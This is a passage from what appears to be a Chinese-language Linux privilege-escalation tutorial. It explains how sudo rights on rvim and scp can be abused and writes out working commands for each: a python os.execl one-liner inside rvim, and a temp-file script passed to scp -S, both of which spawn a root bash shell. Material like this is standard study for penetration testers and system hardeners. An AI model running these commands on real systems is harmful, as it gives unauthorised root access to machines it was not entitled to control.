当前用户可以以sudo高级权限运行rvim,即运行sudo -l后会有如下的行:

1
(root) NOPASSWD: /usr/bin/rvim

rvim是vim编辑器的一个特定版本,其中表示restricted受限模式,在rvim中的操作相比于vim,做了很多限制,禁用了许多可能危害系统的命令。利用详见rvim | GTFOBins

操作方式

1
sudo rvim -c ':py import os; os.execl("/bin/bash", "bash", "-c", "reset; exec bash")'

执行即可提权,单引号中的内容是通过python编写启动shell会话的代码,其中冒号:是vim的语法,表示执行系统命令。

sudo scp

漏洞利用前提

当前用户可以以sudo高级权限运行scp,即运行sudo -l后会有如下的行:

1
(root) NOPASSWD: /usr/bin/scp

scp是secure copy的缩写,用于Linux中的基于ssh的远程文件复制,功能类似与cp,但可以跨服务器复制。利用详见scp | GTFOBins

操作方式

提权时需要指定参数-S,表示指定SSH程序,可在其中指定ssh逻辑。先用一个变量TF指向临时文件:

1
TF=$(mktemp)

然后将提权逻辑写到临时变量中

1
echo 'bash 0<&2 1>&2' > $TF

给变量(临时文件)添加执行权限:

1
chmod +x "$TF"

然后用-S参数指定临时文件,此处的$TF是作为ssh程序给出,同时要指定源文件和目标文件,由于我们只是想提权,并不想真的copy,因此随便写一个x和y即可,冒号:用于区分本地文件和远程文件。

1
sudo scp -S $TF x y: